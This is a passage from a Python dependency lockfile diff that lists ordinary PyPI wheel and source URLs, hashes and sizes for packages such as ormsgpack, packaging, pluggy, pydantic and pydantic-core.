"https://files.pythonhosted.org/packages/c0/d6/06e8dc920c7903e051f30934d874d4afccc9bb1c09dcaf0bc03a7de4b343/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:df6961442140193e517303d0b5d7bc2e20e69a879c2d774316125350c4a76b92", size = 482346, upload-time = "2026-01-18T20:56:05.152Z" }, + { url = "https://files.pythonhosted.org/packages/66/c4/f337ac0905eed9c393ef990c54565cd33644918e0a8031fe48c098c71dbf/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c6a4c34ddef109647c769d69be65fa1de7a6022b02ad45546a69b3216573eb4a", size = 425181, upload-time = "2026-01-18T20:55:37.83Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/6d5758fabef3babdf4bbbc453738cc7de9cd3334e4c38dd5737e27b85653/ormsgpack-1.12.2-cp311-cp311-win_amd64.whl", hash = "sha256:73670ed0375ecc303858e3613f407628dd1fca18fe6ac57b7b7ce66cc7bb006c", size = 117182, upload-time = "2026-01-18T20:55:31.472Z" }, + { url = "https://files.pythonhosted.org/packages/c4/57/17a15549233c37e7fd054c48fe9207492e06b026dbd872b826a0b5f833b6/ormsgpack-1.12.2-cp311-cp311-win_arm64.whl", hash = "sha256:c2be829954434e33601ae5da328cccce3266b098927ca7a30246a0baec2ce7bd", size = 111464, upload-time = "2026-01-18T20:55:38.811Z" }, + { url = "https://files.pythonhosted.org/packages/4c/36/16c4b1921c308a92cef3bf6663226ae283395aa0ff6e154f925c32e91ff5/ormsgpack-1.12.2-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7a29d09b64b9694b588ff2f80e9826bdceb3a2b91523c5beae1fab27d5c940e7", size = 378618, upload-time = "2026-01-18T20:55:50.835Z" }, + { url = "https://files.pythonhosted.org/packages/c0/68/468de634079615abf66ed13bb5c34ff71da237213f29294363beeeca5306/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b39e629fd2e1c5b2f46f99778450b59454d1f901bc507963168985e79f09c5d", size = 203186, upload-time = "2026-01-18T20:56:11.163Z" }, + { url = "https://files.pythonhosted.org/packages/73/a9/d756e01961442688b7939bacd87ce13bfad7d26ce24f910f6028178b2cc8/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:958dcb270d30a7cb633a45ee62b9444433fa571a752d2ca484efdac07480876e", size = 210738, upload-time = "2026-01-18T20:56:09.181Z" }, + { url = "https://files.pythonhosted.org/packages/7b/ba/795b1036888542c9113269a3f5690ab53dd2258c6fb17676ac4bd44fcf94/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58d379d72b6c5e964851c77cfedfb386e474adee4fd39791c2c5d9efb53505cc", size = 212569, upload-time = "2026-01-18T20:56:06.135Z" }, + { url = "https://files.pythonhosted.org/packages/6c/aa/bff73c57497b9e0cba8837c7e4bcab584b1a6dbc91a5dd5526784a5030c8/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8463a3fc5f09832e67bdb0e2fda6d518dc4281b133166146a67f54c08496442e", size = 387166, upload-time = "2026-01-18T20:55:36.738Z" }, + { url = "https://files.pythonhosted.org/packages/d3/cf/f8283cba44bcb7b14f97b6274d449db276b3a86589bdb363169b51bc12de/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:eddffb77eff0bad4e67547d67a130604e7e2dfbb7b0cde0796045be4090f35c6", size = 482498, upload-time = "2026-01-18T20:55:29.626Z" }, + { url = "https://files.pythonhosted.org/packages/05/be/71e37b852d723dfcbe952ad04178c030df60d6b78eba26bfd14c9a40575e/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fcd55e5f6ba0dbce624942adf9f152062135f991a0126064889f68eb850de0dd", size = 425518, upload-time = "2026-01-18T20:55:49.556Z" }, + { url = "https://files.pythonhosted.org/packages/7a/0c/9803aa883d18c7ef197213cd2cbf73ba76472a11fe100fb7dab2884edf48/ormsgpack-1.12.2-cp312-cp312-win_amd64.whl", hash = "sha256:d024b40828f1dde5654faebd0d824f9cc29ad46891f626272dd5bfd7af2333a4", size = 117462, upload-time = "2026-01-18T20:55:47.726Z" }, + { url = "https://files.pythonhosted.org/packages/c8/9e/029e898298b2cc662f10d7a15652a53e3b525b1e7f07e21fef8536a09bb8/ormsgpack-1.12.2-cp312-cp312-win_arm64.whl", hash = "sha256:da538c542bac7d1c8f3f2a937863dba36f013108ce63e55745941dda4b75dbb6", size = 111559, upload-time = "2026-01-18T20:55:54.273Z" }, + { url = "https://files.pythonhosted.org/packages/eb/29/bb0eba3288c0449efbb013e9c6f58aea79cf5cb9ee1921f8865f04c1a9d7/ormsgpack-1.12.2-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:5ea60cb5f210b1cfbad8c002948d73447508e629ec375acb82910e3efa8ff355", size = 378661, upload-time = "2026-01-18T20:55:57.765Z" }, + { url = "https://files.pythonhosted.org/packages/6e/31/5efa31346affdac489acade2926989e019e8ca98129658a183e3add7af5e/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3601f19afdbea273ed70b06495e5794606a8b690a568d6c996a90d7255e51c1", size = 203194, upload-time = "2026-01-18T20:56:08.252Z" }, + { url = "https://files.pythonhosted.org/packages/eb/56/d0087278beef833187e0167f8527235ebe6f6ffc2a143e9de12a98b1ce87/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29a9f17a3dac6054c0dce7925e0f4995c727f7c41859adf9b5572180f640d172", size = 210778, upload-time = "2026-01-18T20:55:17.694Z" }, + { url = "https://files.pythonhosted.org/packages/1c/a2/072343e1413d9443e5a252a8eb591c2d5b1bffbe5e7bfc78c069361b92eb/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39c1bd2092880e413902910388be8715f70b9f15f20779d44e673033a6146f2d", size = 212592, upload-time = "2026-01-18T20:55:32.747Z" }, + { url = "https://files.pythonhosted.org/packages/a2/8b/a0da3b98a91d41187a63b02dda14267eefc2a74fcb43cc2701066cf1510e/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:50b7249244382209877deedeee838aef1542f3d0fc28b8fe71ca9d7e1896a0d7", size = 387164, upload-time = "2026-01-18T20:55:40.853Z" }, + { url = "https://files.pythonhosted.org/packages/19/bb/6d226bc4cf9fc20d8eb1d976d027a3f7c3491e8f08289a2e76abe96a65f3/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:5af04800d844451cf102a59c74a841324868d3f1625c296a06cc655c542a6685", size = 482516, upload-time = "2026-01-18T20:55:42.033Z" }, + { url = "https://files.pythonhosted.org/packages/fb/f1/bb2c7223398543dedb3dbf8bb93aaa737b387de61c5feaad6f908841b782/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cec70477d4371cd524534cd16472d8b9cc187e0e3043a8790545a9a9b296c258", size = 425539, upload-time = "2026-01-18T20:55:24.727Z" }, + { url = "https://files.pythonhosted.org/packages/7b/e8/0fb45f57a2ada1fed374f7494c8cd55e2f88ccd0ab0a669aa3468716bf5f/ormsgpack-1.12.2-cp313-cp313-win_amd64.whl", hash = "sha256:21f4276caca5c03a818041d637e4019bc84f9d6ca8baa5ea03e5cc8bf56140e9", size = 117459, upload-time = "2026-01-18T20:55:56.876Z" }, + { url = "https://files.pythonhosted.org/packages/7a/d4/0cfeea1e960d550a131001a7f38a5132c7ae3ebde4c82af1f364ccc5d904/ormsgpack-1.12.2-cp313-cp313-win_arm64.whl", hash = "sha256:baca4b6773d20a82e36d6fd25f341064244f9f86a13dead95dd7d7f996f51709", size = 111577, upload-time = "2026-01-18T20:55:43.605Z" }, + { url = "https://files.pythonhosted.org/packages/94/16/24d18851334be09c25e87f74307c84950f18c324a4d3c0b41dabdbf19c29/ormsgpack-1.12.2-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bc68dd5915f4acf66ff2010ee47c8906dc1cf07399b16f4089f8c71733f6e36c", size = 378717, upload-time = "2026-01-18T20:55:26.164Z" }, + { url = "https://files.pythonhosted.org/packages/b5/a2/88b9b56f83adae8032ac6a6fa7f080c65b3baf9b6b64fd3d37bd202991d4/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46d084427b4132553940070ad95107266656cb646ea9da4975f85cb1a6676553", size = 203183, upload-time = "2026-01-18T20:55:18.815Z" }, + { url = "https://files.pythonhosted.org/packages/a9/80/43e4555963bf602e5bdc79cbc8debd8b6d5456c00d2504df9775e74b450b/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c010da16235806cf1d7bc4c96bf286bfa91c686853395a299b3ddb49499a3e13", size = 210814, upload-time = "2026-01-18T20:55:33.973Z" }, + { url = "https://files.pythonhosted.org/packages/78/e1/7cfbf28de8bca6efe7e525b329c31277d1b64ce08dcba723971c241a9d60/ormsgpack-1.12.2-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:18867233df592c997154ff942a6503df274b5ac1765215bceba7a231bea2745d", size = 212634, upload-time = "2026-01-18T20:55:28.634Z" }, + { url = "https://files.pythonhosted.org/packages/95/f8/30ae5716e88d792a4e879debee195653c26ddd3964c968594ddef0a3cc7e/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:b009049086ddc6b8f80c76b3955df1aa22a5fbd7673c525cd63bf91f23122ede", size = 387139, upload-time = "2026-01-18T20:56:02.013Z" }, + { url = "https://files.pythonhosted.org/packages/dc/81/aee5b18a3e3a0e52f718b37ab4b8af6fae0d9d6a65103036a90c2a8ffb5d/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:1dcc17d92b6390d4f18f937cf0b99054824a7815818012ddca925d6e01c2e49e", size = 482578, upload-time = "2026-01-18T20:55:35.117Z" }, + { url = "https://files.pythonhosted.org/packages/bd/17/71c9ba472d5d45f7546317f467a5fc941929cd68fb32796ca3d13dcbaec2/ormsgpack-1.12.2-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:f04b5e896d510b07c0ad733d7fce2d44b260c5e6c402d272128f8941984e4285", size = 425539, upload-time = "2026-01-18T20:56:04.009Z" }, + { url = "https://files.pythonhosted.org/packages/2e/a6/ac99cd7fe77e822fed5250ff4b86fa66dd4238937dd178d2299f10b69816/ormsgpack-1.12.2-cp314-cp314-win_amd64.whl", hash = "sha256:ae3aba7eed4ca7cb79fd3436eddd29140f17ea254b91604aa1eb19bfcedb990f", size = 117493, upload-time = "2026-01-18T20:56:07.343Z" }, + { url = "https://files.pythonhosted.org/packages/3a/67/339872846a1ae4592535385a1c1f93614138566d7af094200c9c3b45d1e5/ormsgpack-1.12.2-cp314-cp314-win_arm64.whl", hash = "sha256:118576ea6006893aea811b17429bfc561b4778fad393f5f538c84af70b01260c", size = 111579, upload-time = "2026-01-18T20:55:21.161Z" }, + { url = "https://files.pythonhosted.org/packages/49/c2/6feb972dc87285ad381749d3882d8aecbde9f6ecf908dd717d33d66df095/ormsgpack-1.12.2-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7121b3d355d3858781dc40dafe25a32ff8a8242b9d80c692fd548a4b1f7fd3c8", size = 378721, upload-time = "2026-01-18T20:55:52.12Z" }, + { url = "https://files.pythonhosted.org/packages/a3/9a/900a6b9b413e0f8a471cf07830f9cf65939af039a362204b36bd5b581d8b/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ee766d2e78251b7a63daf1cddfac36a73562d3ddef68cacfb41b2af64698033", size = 203170, upload-time = "2026-01-18T20:55:44.469Z" }, + { url = "https://files.pythonhosted.org/packages/87/4c/27a95466354606b256f24fad464d7c97ab62bce6cc529dd4673e1179b8fb/ormsgpack-1.12.2-cp314-cp314t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:292410a7d23de9b40444636b9b8f1e4e4b814af7f1ef476e44887e52a123f09d", size = 212816, upload-time = "2026-01-18T20:55:23.501Z" }, + { url = "https://files.pythonhosted.org/packages/73/cd/29cee6007bddf7a834e6cd6f536754c0535fcb939d384f0f37a38b1cddb8/ormsgpack-1.12.2-cp314-cp314t-win_amd64.whl", hash = "sha256:837dd316584485b72ef451d08dd3e96c4a11d12e4963aedb40e08f89685d8ec2", size = 117232, upload-time = "2026-01-18T20:55:45.448Z" }, +] + +[[package]] +name = "packaging" +version = "25.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" }, +] + +[[package]] +name = "pluggy" +version = "1.6.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" }, +] + +[[package]] +name = "pydantic" +version = "2.12.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "annotated-types" }, + { name = "pydantic-core" }, + { name = "typing-extensions" }, + { name = "typing-inspection" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/69/44/36f1a6e523abc58ae5f928898e4aca2e0ea509b5aa6f6f392a5d882be928/pydantic-2.12.5.tar.gz", hash = "sha256:4d351024c75c0f085a9febbb665ce8c0c6ec5d30e903bdb6394b7ede26aebb49", size = 821591, upload-time = "2025-11-26T15:11:46.471Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5a/87/b70ad306ebb6f9b585f114d0ac2137d792b48be34d732d60e597c2f8465a/pydantic-2.12.5-py3-none-any.whl", hash = "sha256:e561593fccf61e8a20fc46dfc2dfe075b8be7d0188df33f221ad1f0139180f9d", size = 463580, upload-time = "2025-11-26T15:11:44.605Z" }, +] + +[[package]] +name = "pydantic-core" +version = "2.41.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/71/70/23b021c950c2addd24ec408e9ab05d59b035b39d97cdc1130e1bce647bb6/pydantic_core-2.41.5.tar.gz", hash = "sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e", size = 460952, upload-time = "2025-11-04T13:43:49.098Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c6/90/32c9941e728d564b411d574d8ee0cf09b12ec978cb22b294995bae5549a5/pydantic_core-2.41.5-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146", size = 2107298, upload-time = "2025-11-04T13:39:04.116Z" }, + { url = "https://files.pythonhosted.org/packages/fb/a8/61c96a77fe28993d9a6fb0f4127e05430a267b235a124545d79fea46dd65/pydantic_core-2.41.5-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2", size = 1901475, upload-time = "2025-11-04T13:39:06.055Z" }, + { url = "https://files.pythonhosted.org/packages/5d/b6/338abf60225acc18cdc08b4faef592d0310923d19a87fba1faf05af5346e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97", size = 1918815, upload-time = "2025-11-04T13:39:10.41Z" }, + { url = "https://files.pythonhosted.org/packages/d1/1c/2ed0433e682983d8e8cba9c8d8ef274d4791ec6a6f24c58935b90e780e0a/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9", size = 2065567, upload-time = "2025-11-04T13:39:12.244Z" }, + { url = "https://files.pythonhosted.org/packages/b3/24/cf84974ee7d6eae06b9e63289b7b8f6549d416b5c199ca2d7ce13bbcf619/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52", size = 2230442, upload-time = "2025-11-04T13:39:13.962Z" }, + { url = "https://files.pythonhosted.org/packages/fd/21/4e287865504b3edc0136c89c9c09431be326168b1eb7841911cbc877a995/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941", size = 2350956, upload-time = "2025-11-04T13:39:15.889Z" }, + { url = "https://files.pythonhosted.org/packages/a8/76/7727ef2ffa4b62fcab916686a68a0426b9b790139720e1934e8ba797e238/pydantic_core-2.41.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a", size = 2068253, upload-time = "2025-11-04T13:39:17.403Z" }, + { url = "https://files.pythonhosted.org/packages/d5/8c/a4abfc79604bcb4c748e18975c44f94f756f08fb04218d5cb87eb0d3a63e/pydantic_core-2.41.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c", size = 2177050, upload-time = "2025-11-04T13:39:19.351Z" }, + { url = "https://files.pythonhosted.org/packages/67/b1/de2e9a9a79b480f9cb0b6e8b6ba4c50b18d4e89852426364c66aa82bb7b3/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2", size = 2147178, upload-time = "2025-11-04T13:39:21Z" }, + { url = "https://files.pythonhosted.org/packages/16/c1/dfb33f837a47b20417500efaa0378adc6635b3c79e8369ff7a03c494b4ac/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556", size = 2341833, upload-time = "2025-11-04T13:39:22.606Z" }, + { url = "https://files.pythonhosted.org/packages/47/36/00f398642a0f4b815a9a558c4f1dca1b4020a7d49562807d7bc9ff279a6c/pydantic_core-2.41.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49", size = 2321156, upload-time = "2025-11-04T13:39:25.843Z" }, + { url = "https://files.pythonhosted.org/packages/7e/70/cad3acd89fde2010807354d978725ae111ddf6d0ea46d1ea1775b5c1bd0c/pydantic_core-2.41.5-cp310-cp310-win32.whl", hash = "sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba", size = 1989378, upload-time = "2025-11-04T13:39:27.92Z" }, + { url = "https://files.pythonhosted.org/packages/76/92/d338652464c6c367e5608e4488201702cd1cbb0f33f7b6a85a60fe5f3720/pydantic_core-2.41.5-cp310-cp310-win_amd64.whl", hash = "sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9", size = 2013622, upload-time = "2025-11-04T13:39:29.848Z" }, + { url = "https://files.pythonhosted.org/packages/e8/72/74a989dd9f2084b3d9530b0915fdda64ac48831c30dbf7c72a41a5232db8/pydantic_core-2.41.5-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6", size = 2105873, upload-time = "2025-11-04T13:39:31.373Z" }, + { url = "https://files.pythonhosted.org/packages/12/44/37e403fd9455708b3b942949e1d7febc02167662bf1a7da5b78ee1ea2842/pydantic_core-2.41.5-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b", size = 1899826, upload-time = "2025-11-04T13:39:32.897Z" }, + { url = "https://files.pythonhosted.org/packages/33/7f/1d5cab3ccf44c1935a359d51a8a2a9e1a654b744b5e7f80d41b88d501eec/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a", size = 1917869, upload-time = "2025-11-04T13:39:34.469Z" }, + { url = "https://files.pythonhosted.org/packages/6e/6a/30d94a9674a7fe4f4744052ed6c5e083424510be1e93da5bc47569d11810/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8", size = 2063890, upload-time = "2025-11-04T13:39:36.053Z" }, + { url = "https://files.pythonhosted.org/packages/50/be/76e5d46203fcb2750e542f32e6c371ffa9b8ad17364cf94bb0818dbfb50c/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e", size = 2229740, upload-time = "2025-11-04T13:39:37.753Z" }, + { url = "https://files.pythonhosted.org/packages/d3/ee/fed784df0144793489f87db310a6bbf8118d7b630ed07aa180d6067e653a/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1", size = 2350021, upload-time = "2025-11-04T13:39:40.94Z" }, + { url = "https://files.pythonhosted.org/packages/c8/be/8fed28dd0a180dca19e72c233cbf58efa36df055e5b9d90d64fd1740b828/pydantic_core-2.41.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b", size = 2066378, upload-time = "2025-11-04T13:39:42.523Z" }, + { url = "https://files.pythonhosted.org/packages/b0/3b/698cf8ae1d536a010e05121b4958b1257f0b5522085e335360e53a6b1c8b/pydantic_core-2.41.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b", size = 2175761, upload-time = "2025-11-04T13:39:44.553Z" }, + { url = "https://files.pythonhosted.org/packages/b8/ba/15d537423939553116dea94ce02f9c31be0fa9d0b806d427e0308ec17145/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284", size = 2146303, upload-time = "2025-11-04T13:39:46.238Z" }, + { url = "https://files.pythonhosted.org/packages/58/7f/0de669bf37d206723795f9c90c82966726a2ab06c336deba4735b55af431/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594", size = 2340355, upload-time = "2025-11-04T13:39:48.002Z" }, + { url = "https://files.pythonhosted.org/packages/e5/de/e7482c435b83d7e3c3ee5ee4451f6e8973cff0eb6007d2872ce6383f6398/pydantic_core-2.41.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e", size = 2319875, upload-time = "2025-11-04T13:39:49.705Z" }, + { url = "https://files.pythonhosted.org/packages/fe/e6/8c9e81bb6dd7560e33b9053351c29f30c8194b72f2d6932888581f503482/pydantic_core-2.41.5-cp311-cp311-win32.whl", hash = "sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b", size = 1987549, upload-time = "2025-11-04T13:39:51.842Z" }, + { url = "https://files.pythonhosted.org/packages/11/66/f14d1d978ea94d1bc21fc98fcf570f9542fe55bfcc40269d4e1a21c19bf7/pydantic_core-2.41.5-cp311-cp311-win_amd64.whl", hash = "sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe", size = 2011305, upload-time = "2025-11-04T13:39:53.485Z" }, + { url = "https://files.pythonhosted.org/packages/56/d8/0e271434e8efd03186c5386671328154ee349ff0354d83c74f5caaf096ed/pydantic_core-2.41.5-cp311-cp311-win_arm64.whl", hash = "sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f", size = 1972902, upload-time = "2025-11-04T13:39:56.488Z" }, + { url = "https://files.pythonhosted.org/packages/5f/5d/5f6c63eebb5afee93bcaae4ce9a898f3373ca23df3ccaef086d0233a35a7/pydantic_core-2.41.5-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7", size = 2110990, upload-time = "2025-11-04T13:39:58.079Z" }, + { url = "https://files.pythonhosted.org/packages/aa/32/9c2e8ccb57c01111e0fd091f236c7b371c1bccea0fa85247ac55b1e2b6b6/pydantic_core-2.41.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0", size = 1896003, upload-time = "2025-11-04T13:39:59.956Z" }, + { url = "https://files.pythonhosted.org/packages/68/b8/a01b53cb0e59139fbc9e4fda3e9724ede8de279097179be4ff31f1abb65a/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69", size = 1919200, upload-time = "2025-11-04T13:40:02.241Z" }, + { url = "https://files.pythonhosted.org/packages/38/de/8c36b5198a29bdaade07b5985e80a233a5ac27137846f3bc2d3b40a47360/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75", size = 2052578, upload-time = "2025-11-04T13:40:04.401Z" }, + { url = "https://files.pythonhosted.org/packages/00/b5/0e8e4b5b081eac6cb3dbb7e60a65907549a1ce035a724368c330112adfdd/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05", size = 2208504, upload-time = "2025-11-04T13:40:06.072Z" }, + { url = "https://files.pythonhosted.org/packages/77/56/87a61aad59c7c5b9dc8caad5a41a5545cba3810c3e828708b3d7404f6cef/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc", size = 2335816, upload-time = "2025-11-04T13:40:07.835Z" }, + { url = "https://files.pythonhosted.org/packages/0d/76/941cc9f73529988688a665a5c0ecff1112b3d95ab48f81db5f7606f522d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c", size = 2075366, upload-time = "2025-11-04T13:40:09.804Z" }, + { url = "https://files.pythonhosted.org/packages/d3/43/ebef01f69baa07a482844faaa0a591bad1ef129253ffd0cdaa9d8a7f72d3/pydantic_core-2.41.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5", size = 2171698, upload-time = "2025-11-04T13:40:12.004Z" }, + { url = "https://files.pythonhosted.org/packages/b1/87/41f3202e4193e3bacfc2c065fab7706ebe81af46a83d3e27605029c1f5a6/pydantic_core-2.41.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c", size = 2132603, upload-time = "2025-11-04T13:40:13.868Z" }, + { url = 